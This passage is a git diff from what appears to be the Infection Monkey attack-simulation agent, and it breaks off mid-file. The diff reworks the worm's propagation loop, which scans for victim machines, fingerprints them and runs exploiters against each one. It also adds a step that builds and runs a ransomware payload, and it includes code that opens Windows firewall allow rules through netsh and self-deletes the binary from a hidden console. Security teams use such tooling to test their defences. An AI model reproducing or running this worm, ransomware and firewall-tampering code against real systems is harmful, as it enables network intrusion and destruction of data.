import ScanStatus, UsageEnum from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.version import get_version @@ -18,8 +17,9 @@ from infection_monkey.model import DELAY_DELETE_CMD from infection_monkey.network.firewall import app as firewall from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.network_scanner import NetworkScanner -from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -32,13 +32,16 @@ from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException -from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_dir import ( + create_monkey_dir, + get_monkey_dir_path, + remove_monkey_dir, +) from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.windows_upgrader import WindowsUpgrader -MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, shutting down" +MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." -__author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -53,14 +56,14 @@ class InfectionMonkey(object): self._default_tunnel = None self._args = args self._network = None - self._dropper_path = None self._exploiters = None self._fingerprint = None self._default_server = None self._default_server_port = None - self._depth = 0 self._opts = None self._upgrading_to_64 = False + self._monkey_tunnel = None + self._post_breach_phase = None def initialize(self): LOG.info("Monkey is initializing...") @@ -69,11 +72,11 @@ class InfectionMonkey(object): raise Exception("Another instance of the monkey is already running") arg_parser = argparse.ArgumentParser() - arg_parser.add_argument('-p', '--parent') - arg_parser.add_argument('-t', '--tunnel') - arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth', type=int) - arg_parser.add_argument('-vp', '--vulnerable-port') + arg_parser.add_argument("-p", "--parent") + arg_parser.add_argument("-t", "--tunnel") + arg_parser.add_argument("-s", "--server") + arg_parser.add_argument("-d", "--depth", type=int) + arg_parser.add_argument("-vp", "--vulnerable-port") self._opts, self._args = arg_parser.parse_known_args(self._args) self.log_arguments() @@ -89,14 +92,15 @@ class InfectionMonkey(object): self._keep_running = True self._network = NetworkScanner() - self._dropper_path = sys.argv[0] if self._default_server: if self._default_server not in WormConfiguration.command_servers: LOG.debug("Added default server: %s" % self._default_server) WormConfiguration.command_servers.insert(0, self._default_server) else: - LOG.debug("Default server: %s is already in command servers list" % self._default_server) + LOG.debug( + "Default server: %s is already in command servers list" % self._default_server + ) def start(self): try: @@ -123,132 +127,70 @@ class InfectionMonkey(object): if is_running_on_island(): WormConfiguration.started_on_island = True ControlClient.report_start_on_island() - ControlClient.should_monkey_run(self._opts.vulnerable_port) + + if not ControlClient.should_monkey_run(self._opts.vulnerable_port): + raise PlannedShutdownException( + "Monkey shouldn't run on current machine " + "(it will be exploited later with more depth)." + ) if firewall.is_enabled(): firewall.add_firewall_rule() - monkey_tunnel = ControlClient.create_control_tunnel() - if monkey_tunnel: - monkey_tunnel.start() + self._monkey_tunnel = ControlClient.create_control_tunnel() + if self._monkey_tunnel: + self._monkey_tunnel.start() StateTelem(is_done=False, version=get_version()).send() TunnelTelem().send() LOG.debug("Starting the post-breach phase asynchronously.") - post_breach_phase = Thread(target=self.start_post_breach_phase) - post_breach_phase.start() + self._post_breach_phase = Thread(target=self.start_post_breach_phase) + self._post_breach_phase.start() - LOG.debug("Starting the propagation phase.") - self.shutdown_by_max_depth_reached() - - for iteration_index in range(WormConfiguration.max_iterations): - ControlClient.keepalive() - ControlClient.load_control_config() - - self._network.initialize() - - self._fingerprint = HostFinger.get_instances() - - self._exploiters = HostExploiter.get_classes() - - if not self._keep_running or not WormConfiguration.alive: - break - - machines = self._network.get_victim_machines(max_find=WormConfiguration.victims_max_find, - stop_callback=ControlClient.check_for_stop) - is_empty = True - for machine in machines: - if ControlClient.check_for_stop(): - break - - is_empty = False - for finger in self._fingerprint: - LOG.info("Trying to get OS fingerprint from %r with module %s", - machine, finger.__class__.__name__) - try: - finger.get_host_fingerprint(machine) - except BaseException as exc: - LOG.error("Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, - str(exc)) - - ScanTelem(machine).send() - - # skip machines that we've already exploited - if machine in self._exploited_machines: - LOG.debug("Skipping %r - already exploited", - machine) - continue - elif machine in self._fail_exploitation_machines: - if WormConfiguration.retry_failed_explotation: - LOG.debug("%r - exploitation failed before, trying again", machine) - else: - LOG.debug("Skipping %r - exploitation failed before", machine) - continue - - if monkey_tunnel: - monkey_tunnel.set_tunnel_for_host(machine) - if self._default_server: - if self._network.on_island(self._default_server): - machine.set_default_server(get_interface_to_target(machine.ip_addr) + - (':' + self._default_server_port - if self._default_server_port else '')) - else: - machine.set_default_server(self._default_server) - LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) - - # Order exploits according to their type - self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) - host_exploited = False - for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self.try_exploiting(machine, exploiter): - host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() - if exploiter.RUNS_AGENT_ON_SUCCESS: - break # if adding machine to exploited, won't try other exploits on it - if not host_exploited: - self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() - if not self._keep_running: - break - - if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): - time_to_sleep = WormConfiguration.timeout_between_iterations - LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) - time.sleep(time_to_sleep) + if not InfectionMonkey.max_propagation_depth_reached(): + LOG.info("Starting the propagation phase.") + LOG.debug("Running with depth: %d" % WormConfiguration.depth) + self.propagate() + else: + LOG.info("Maximum propagation depth has been reached; monkey will not propagate.") + TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() if self._keep_running and WormConfiguration.alive: - LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) - elif not WormConfiguration.alive: - LOG.info("Marked not alive from configuration") + InfectionMonkey.run_ransomware() - # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to + # if host was exploited, before continue to closing the tunnel ensure the exploited + # host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time - LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) + LOG.info( + "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep + ) time.sleep(time_to_sleep) - if monkey_tunnel: - monkey_tunnel.stop() - monkey_tunnel.join() - - post_breach_phase.join() - except PlannedShutdownException: - LOG.info("A planned shutdown of the Monkey occurred. Logging the reason and finishing execution.") + LOG.info( + "A planned shutdown of the Monkey occurred. Logging the reason and finishing " + "execution." + ) LOG.exception("Planned shutdown, reason:") + finally: + if self._monkey_tunnel: + self._monkey_tunnel.stop() + self._monkey_tunnel.join() + + if self._post_breach_phase: + self._post_breach_phase.join() + def start_post_breach_phase(self): self.collect_system_info_if_configured() PostBreach().execute_all_configured() - def shutdown_by_max_depth_reached(self): - if 0 == WormConfiguration.depth: - TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() - raise PlannedShutdownException(MAX_DEPTH_REACHED_MESSAGE) - else: - LOG.debug("Running with depth: %d" % WormConfiguration.depth) + @staticmethod + def max_propagation_depth_reached(): + return 0 == WormConfiguration.depth def collect_system_info_if_configured(self): LOG.debug("Calling for system info collection") @@ -263,6 +205,101 @@ class InfectionMonkey(object): if not WormConfiguration.alive: raise PlannedShutdownException("Marked 'not alive' from configuration.") + def propagate(self): + for iteration_index in range(WormConfiguration.max_iterations): + ControlClient.keepalive() + ControlClient.load_control_config() + + self._network.initialize() + + self._fingerprint = HostFinger.get_instances() + + self._exploiters = HostExploiter.get_classes() + + if not self._keep_running or not WormConfiguration.alive: + break + + machines = self._network.get_victim_machines( + max_find=WormConfiguration.victims_max_find, + stop_callback=ControlClient.check_for_stop, + ) + is_empty = True + for machine in machines: + if ControlClient.check_for_stop(): + break + + is_empty = False + for finger in self._fingerprint: + LOG.info( + "Trying to get OS fingerprint from %r with module %s", + machine, + finger.__class__.__name__, + ) + try: + finger.get_host_fingerprint(machine) + except BaseException as exc: + LOG.error( + "Failed to run fingerprinter %s, exception %s" + % finger.__class__.__name__, + str(exc), + ) + + ScanTelem(machine).send() + + # skip machines that we've already exploited + if machine in self._exploited_machines: + LOG.debug("Skipping %r - already exploited", machine) + continue + elif machine in self._fail_exploitation_machines: + if WormConfiguration.retry_failed_explotation: + LOG.debug("%r - exploitation failed before, trying again", machine) + else: + LOG.debug("Skipping %r - exploitation failed before", machine) + continue + + if self._monkey_tunnel: + self._monkey_tunnel.set_tunnel_for_host(machine) + if self._default_server: + if self._network.on_island(self._default_server): + machine.set_default_server( + get_interface_to_target(machine.ip_addr) + + (":" + self._default_server_port if self._default_server_port else "") + ) + else: + machine.set_default_server(self._default_server) + LOG.debug( + "Default server for machine: %r set to %s" + % (machine, machine.default_server) + ) + + # Order exploits according to their type + self._exploiters = sorted( + self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value + ) + host_exploited = False + for exploiter in [exploiter(machine) for exploiter in self._exploiters]: + if self.try_exploiting(machine, exploiter): + host_exploited = True + VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() + if exploiter.RUNS_AGENT_ON_SUCCESS: + break # if adding machine to exploited, won't try other exploits + # on it + if not host_exploited: + self._fail_exploitation_machines.add(machine) + VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send() + if not self._keep_running: + break + + if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): + time_to_sleep = WormConfiguration.timeout_between_iterations + LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) + time.sleep(time_to_sleep) + + if self._keep_running and WormConfiguration.alive: + LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) + elif not WormConfiguration.alive: + LOG.info("Marked not alive from configuration") + def upgrade_to_64_if_needed(self): if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -279,7 +316,9 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(is_done=True, version=get_version()).send() # Signal the server (before closing the tunnel) + StateTelem( + is_done=True, version=get_version() + ).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: @@ -291,7 +330,9 @@ class InfectionMonkey(object): @staticmethod def close_tunnel(): - tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] + tunnel_address = ( + ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0] + ) if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) @@ -301,18 +342,23 @@ class InfectionMonkey(object): status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED T1107Telem(status, get_monkey_dir_path()).send() - if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python'): + if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find("python"): try: status = None if "win32" == sys.platform: from subprocess import CREATE_NEW_CONSOLE, STARTF_USESHOWWINDOW, SW_HIDE + startupinfo = subprocess.STARTUPINFO() startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE - subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable}, - stdin=None, stdout=None, stderr=None, - close_fds=True, startupinfo=startupinfo) + subprocess.Popen( + DELAY_DELETE_CMD % {"file_path": sys.executable}, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + startupinfo=startupinfo, + ) else: os.remove(sys.executable) status = ScanStatus.USED @@ -325,10 +371,10 @@ class InfectionMonkey(object): def send_log(self): monkey_log_path = get_monkey_log_path() if os.path.exists(monkey_log_path): - with open(monkey_log_path, 'r') as f: + with open(monkey_log_path, "r") as f: log = f.read() else: - log = '' + log = "" ControlClient.send_log(log) @@ -340,8 +386,12 @@ class InfectionMonkey(object): :return: True if successfully exploited, False otherwise """ if not exploiter.is_os_supported(): - LOG.info("Skipping exploiter %s host:%r, os %s is not supported", - exploiter.__class__.__name__, machine, machine.os) + LOG.info( + "Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, + machine, + machine.os, + ) return False LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) @@ -353,17 +403,32 @@ class InfectionMonkey(object): self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True else: - LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) + LOG.info( + "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ + ) except ExploitingVulnerableMachineError as exc: - LOG.error("Exception while attacking %s using %s: %s", - machine, exploiter.__class__.__name__, exc) + LOG.error( + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, + ) self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: - LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) + LOG.info( + "Failed exploiting %r with exploiter %s, %s", + machine, + exploiter.__class__.__name__, + e, + ) except Exception as exc: - LOG.exception("Exception while attacking %s using %s: %s", - machine, exploiter.__class__.__name__, exc) + LOG.exception( + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, + ) finally: exploiter.send_exploit_telemetry(result) return False @@ -377,8 +442,7 @@ class InfectionMonkey(object): if RUNS_AGENT_ON_SUCCESS: self._exploited_machines.add(machine) - LOG.info("Successfully propagated to %s using %s", - machine, exploiter.__class__.__name__) + LOG.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): @@ -388,9 +452,9 @@ class InfectionMonkey(object): def set_default_port(self): try: - self._default_server_port = self._default_server.split(':')[1] + self._default_server_port = self._default_server.split(":")[1] except KeyError: - self._default_server_port = '' + self._default_server_port = "" def set_default_server(self): """ @@ -399,10 +463,19 @@ class InfectionMonkey(object): """ if not ControlClient.find_server(default_tunnel=self._default_tunnel): raise PlannedShutdownException( - "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel)) + "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) + ) self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) def log_arguments(self): arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) LOG.info(f"Monkey started with arguments: {arg_string}") + + @staticmethod + def run_ransomware(): + try: + ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) + ransomware_payload.run_payload() + except Exception as ex: + LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 6248f4d2b..3691ac470 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -3,7 +3,7 @@ import os import platform import sys -__author__ = 'itay.mizeretz' + from PyInstaller.utils.hooks import collect_data_files diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py index 2d14156b3..e056512d2 100644 --- a/monkey/infection_monkey/monkeyfs.py +++ b/monkey/infection_monkey/monkeyfs.py @@ -1,9 +1,7 @@ import os from io import BytesIO -__author__ = 'hoffer' - -MONKEYFS_PREFIX = 'monkeyfs://' +MONKEYFS_PREFIX = "monkeyfs://" open_orig = open @@ -11,11 +9,10 @@ open_orig = open class VirtualFile(BytesIO): _vfs = {} # virtual File-System - def __init__(self, name, mode='r', buffering=None): + def __init__(self, name, mode="r", buffering=None): if not name.startswith(MONKEYFS_PREFIX): name = MONKEYFS_PREFIX + name self.name = name - self._mode = mode if name in VirtualFile._vfs: super(VirtualFile, self).__init__(self._vfs[name]) else: @@ -53,7 +50,7 @@ def virtual_path(name): # noinspection PyShadowingBuiltins -def open(name, mode='r', buffering=-1): +def open(name, mode="r", buffering=-1): # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths if name.startswith(MONKEYFS_PREFIX): return VirtualFile(name, mode, buffering) diff --git a/monkey/infection_monkey/network/HostFinger.py b/monkey/infection_monkey/network/HostFinger.py index b48c01111..0ff0cb8e0 100644 --- a/monkey/infection_monkey/network/HostFinger.py +++ b/monkey/infection_monkey/network/HostFinger.py @@ -21,8 +21,8 @@ class HostFinger(Plugin): def init_service(self, services, service_key, port): services[service_key] = {} - services[service_key]['display_name'] = self._SCANNED_SERVICE - services[service_key]['port'] = port + services[service_key]["display_name"] = self._SCANNED_SERVICE + services[service_key]["port"] = port @abstractmethod def get_host_fingerprint(self, host): diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index 05a457b0c..e69de29bb 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -1 +0,0 @@ -__author__ = 'itamar' diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index e7a60be17..d5f6baaf2 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -12,14 +12,14 @@ from infection_monkey.network.HostFinger import HostFinger ES_PORT = 9200 ES_HTTP_TIMEOUT = 5 LOG = logging.getLogger(__name__) -__author__ = 'danielg' class ElasticFinger(HostFinger): """ - Fingerprints elastic search clusters, only on port 9200 + Fingerprints elastic search clusters, only on port 9200 """ - _SCANNED_SERVICE = 'Elastic search' + + _SCANNED_SERVICE = "Elastic search" def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -31,13 +31,13 @@ class ElasticFinger(HostFinger): :return: Success/failure, data is saved in the host struct """ try: - url = 'http://%s:%s/' % (host.ip_addr, ES_PORT) + url = "http://%s:%s/" % (host.ip_addr, ES_PORT) with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: data = json.loads(req.text) self.init_service(host.services, ES_SERVICE, ES_PORT) - host.services[ES_SERVICE]['cluster_name'] = data['cluster_name'] - host.services[ES_SERVICE]['name'] = data['name'] - host.services[ES_SERVICE]['version'] = data['version']['number'] + host.services[ES_SERVICE]["cluster_name"] = data["cluster_name"] + host.services[ES_SERVICE]["name"] = data["name"] + host.services[ES_SERVICE]["version"] = data["version"]["number"] return True except Timeout: LOG.debug("Got timeout while trying to read header information") diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index a88427650..0851a575f 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -4,9 +4,15 @@ import sys def _run_netsh_cmd(command, args): - cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) - if value])), stdout=subprocess.PIPE) - return cmd.stdout.read().strip().lower().endswith('ok.') + cmd = subprocess.Popen( + "netsh %s %s" + % ( + command, + " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]), + ), + stdout=subprocess.PIPE, + ) + return cmd.stdout.read().strip().lower().endswith("ok.") class FirewallApp(object): @@ -25,7 +31,7 @@ class FirewallApp(object): def __enter__(self): return self - def __exit__(self, exc_type, value, traceback): + def __exit__(self, _exc_type, value, traceback): self.close() def close(self): @@ -38,44 +44,43 @@ class WinAdvFirewall(FirewallApp): def is_enabled(self): try: - cmd = subprocess.Popen('netsh advfirewall show currentprofile', stdout=subprocess.PIPE) + cmd = subprocess.Popen("netsh advfirewall show currentprofile", stdout=subprocess.PIPE) out = cmd.stdout.readlines() - for l in out: - if l.startswith('State'): - state = l.split()[-1].strip() + for line in out: + if line.startswith("State"): + state = line.split()[-1].strip() return state == "ON" - except: + except Exception: return None - def add_firewall_rule(self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs): - netsh_args = {'name': name, - 'dir': direction, - 'action': action, - 'program': program} + def add_firewall_rule( + self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs + ): + netsh_args = {"name": name, "dir": direction, "action": action, "program": program} netsh_args.update(kwargs) try: - if _run_netsh_cmd('advfirewall firewall add rule', netsh_args): + if _run_netsh_cmd("advfirewall firewall add rule", netsh_args): self._rules[name] = netsh_args return True else: return False - except: + except Exception: return None def remove_firewall_rule(self, name="Firewall", **kwargs): - netsh_args = {'name': name} + netsh_args = {"name": name} netsh_args.update(kwargs) try: - if _run_netsh_cmd('advfirewall firewall delete rule', netsh_args): + if _run_netsh_cmd("advfirewall firewall delete rule", netsh_args): if name in self._rules: del self._rules[name] return True else: return False - except: + except Exception: return None def listen_allowed(self, **kwargs): @@ -83,10 +88,12 @@ class WinAdvFirewall(FirewallApp): return True for rule in list(self._rules.values()): - if rule.get('program') == sys.executable and \ - 'in' == rule.get('dir') and \ - 'allow' == rule.get('action') and \ - 4 == len(list(rule.keys())): + if ( + rule.get("program") == sys.executable + and "in" == rule.get("dir") + and "allow" == rule.get("action") + and 4 == len(list(rule.keys())) + ): return True return False @@ -94,7 +101,7 @@ class WinAdvFirewall(FirewallApp): try: for rule in list(self._rules.keys()): self.remove_firewall_rule(name=rule) - except: + except Exception: pass @@ -104,48 +111,58 @@ class WinFirewall(FirewallApp): def is_enabled(self): try: - cmd = subprocess.Popen('netsh firewall show state', stdout=subprocess.PIPE) + cmd = subprocess.Popen("netsh firewall show state", stdout=subprocess.PIPE) out = cmd.stdout.readlines() - for l in out: - if l.startswith('Operational mode'): - state = l.split('=')[-1].strip() - elif l.startswith('The service has not been started.'): + for line in out: + if line.startswith("Operational mode"): + state = line.split("=")[-1].strip() + elif line.startswith("The service has not been started."): return False return state == "Enable" - except: + except Exception: return None - def add_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable, - **kwargs): - netsh_args = {'name': name, - 'mode': mode, - 'program': program} + def add_firewall_rule( + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, + ): + netsh_args = {"name": name, "mode": mode, "program": program} netsh_args.update(kwargs) try: - if _run_netsh_cmd('firewall add %s' % rule, netsh_args): - netsh_args['rule'] = rule + if _run_netsh_cmd("firewall add %s" % rule, netsh_args): + netsh_args["rule"] = rule self._rules[name] = netsh_args return True else: return False - except: + except Exception: return None - def remove_firewall_rule(self, rule='allowedprogram', name="Firewall", mode="ENABLE", program=sys.executable, - **kwargs): - netsh_args = {'program': program} + def remove_firewall_rule( + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, + ): + netsh_args = {"program": program} netsh_args.update(kwargs) try: - if _run_netsh_cmd('firewall delete %s' % rule, netsh_args): + if _run_netsh_cmd("firewall delete %s" % rule, netsh_args): if name in self._rules: del self._rules[name] return True else: return False - except: + except Exception: return None def listen_allowed(self, **kwargs): @@ -153,7 +170,7 @@ class WinFirewall(FirewallApp): return True for rule in list(self._rules.values()): - if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'): + if rule.get("program") == sys.executable and "ENABLE" == rule.get("mode"): return True return False @@ -161,14 +178,14 @@ class WinFirewall(FirewallApp): try: for rule in list(self._rules.values()): self.remove_firewall_rule(**rule) - except: + except Exception: pass if sys.platform == "win32": try: - win_ver = int(platform.version().split('.')[0]) - except: + win_ver = int(platform.version().split(".")[0]) + except Exception: win_ver = 0 if win_ver > 5: app = WinAdvFirewall() diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py index 86c48cbde..8fa6071e7 100644 --- a/monkey/infection_monkey/network/httpfinger.py +++ b/monkey/infection_monkey/network/httpfinger.py @@ -10,7 +10,8 @@ class HTTPFinger(HostFinger): """ Goal is to recognise HTTP servers, where what we currently care about is apache. """ - _SCANNED_SERVICE = 'HTTP' + + _SCANNED_SERVICE = "HTTP" def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -35,11 +36,11 @@ class HTTPFinger(HostFinger): for url in (https, http): # start with https and downgrade try: with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 - server = req.headers.get('Server') - ssl = True if 'https://' in url else False - self.init_service(host.services, ('tcp-' + port[1]), port[0]) - host.services['tcp-' + port[1]]['name'] = 'http' - host.services['tcp-' + port[1]]['data'] = (server, ssl) + server = req.headers.get("Server") + ssl = True if "https://" in url else False + self.init_service(host.services, ("tcp-" + port[1]), port[0]) + host.services["tcp-" + port[1]]["name"] = "http" + host.services["tcp-" + port[1]]["data"] = (server, ssl) LOG.info("Port %d is open on host %s " % (port[0], host)) break # https will be the same on the same port except Timeout: diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 0aafe0540..474281f68 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,9 +1,7 @@ -import ipaddress import itertools import socket import struct -from random import randint -from subprocess import check_output +from random import randint # noqa: DUO102 import netifaces import psutil @@ -17,7 +15,7 @@ from infection_monkey.utils.environment import is_windows_os TIMEOUT = 15 LOOPBACK_NAME = b"lo" SIOCGIFADDR = 0x8915 # get PA address -SIOCGIFNETMASK = 0x891b # get network PA mask +SIOCGIFNETMASK = 0x891B # get network PA mask RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 @@ -28,36 +26,40 @@ def get_host_subnets(): Each subnet item contains the host IP in that network + the subnet. :return: List of dict, keys are "addr" and "subnet" """ - ipv4_nets = [netifaces.ifaddresses(interface)[netifaces.AF_INET] - for interface in netifaces.interfaces() - if netifaces.AF_INET in netifaces.ifaddresses(interface) - ] + ipv4_nets = [ + netifaces.ifaddresses(interface)[netifaces.AF_INET] + for interface in netifaces.interfaces() + if netifaces.AF_INET in netifaces.ifaddresses(interface) + ] # flatten ipv4_nets = itertools.chain.from_iterable(ipv4_nets) # remove loopback - ipv4_nets = [network for network in ipv4_nets if network['addr'] != '127.0.0.1'] + ipv4_nets = [network for network in ipv4_nets if network["addr"] != "127.0.0.1"] # remove auto conf - ipv4_nets = [network for network in ipv4_nets if not network['addr'].startswith('169.254')] + ipv4_nets = [network for network in ipv4_nets if not network["addr"].startswith("169.254")] for network in ipv4_nets: - if 'broadcast' in network: - network.pop('broadcast') + if "broadcast" in network: + network.pop("broadcast") for attr in network: network[attr] = network[attr] return ipv4_nets if is_windows_os(): + def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] def get_routes(): raise NotImplementedError() + + else: from fcntl import ioctl def local_ips(): - valid_ips = [network['addr'] for network in get_host_subnets()] + valid_ips = [network["addr"] for network in get_host_subnets()] return valid_ips def get_routes(): # based on scapy implementation for route parsing @@ -76,8 +78,8 @@ else: ifaddr = socket.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", LOOPBACK_NAME, ifaddr)) - for l in f.readlines()[1:]: - iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in l.split()] + for line in f.readlines()[1:]: + iff, dst, gw, flags, x, x, x, msk, x, x, x = [var.encode() for var in line.split()] flags = int(flags, 16) if flags & RTF_UP == 0: continue @@ -85,7 +87,8 @@ else: continue try: ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", iff)) - except IOError: # interface is present in routing tables but does not have any assigned IP + except IOError: # interface is present in routing tables but does not have any + # assigned IP ifaddr = "0.0.0.0" else: addrfamily = struct.unpack("h", ifreq[16:18])[0] @@ -93,10 +96,15 @@ else: ifaddr = socket.inet_ntoa(ifreq[20:24]) else: continue - routes.append((socket.htonl(int(dst, 16)) & 0xffffffff, - socket.htonl(int(msk, 16)) & 0xffffffff, - socket.inet_ntoa(struct.pack("I", int(gw, 16))), - iff, ifaddr)) + routes.append( + ( + socket.htonl(int(dst, 16)) & 0xFFFFFFFF, + socket.htonl(int(msk, 16)) & 0xFFFFFFFF, + socket.inet_ntoa(struct.pack("I", int(gw, 16))), + iff, + ifaddr, + ) + ) f.close() return routes @@ -143,24 +151,8 @@ def get_interfaces_ranges(): res = [] ifs = get_host_subnets() for net_interface in ifs: - address_str = net_interface['addr'] - netmask_str = net_interface['netmask'] - ip_interface = ipaddress.ip_interface("%s/%s" % (address_str, netmask_str)) + address_str = net_interface["addr"] + netmask_str = net_interface["netmask"] # limit subnet scans to class C only res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res - - -if is_windows_os(): - def get_ip_for_connection(target_ip): - return None -else: - def get_ip_for_connection(target_ip): - try: - query_str = 'ip route get %s' % target_ip - resp = check_output(query_str.split()) - substr = resp.split() - src = substr[substr.index('src') + 1] - return src - except Exception: - return None diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 8d934677e..7132b80ff 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -5,8 +5,6 @@ import socket import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger -__author__ = 'Maor Rayzin' - LOG = logging.getLogger(__name__) @@ -15,19 +13,19 @@ class MSSQLFinger(HostFinger): SQL_BROWSER_DEFAULT_PORT = 1434 BUFFER_SIZE = 4096 TIMEOUT = 5 - _SCANNED_SERVICE = 'MSSQL' + _SCANNED_SERVICE = "MSSQL" def __init__(self): self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """Gets 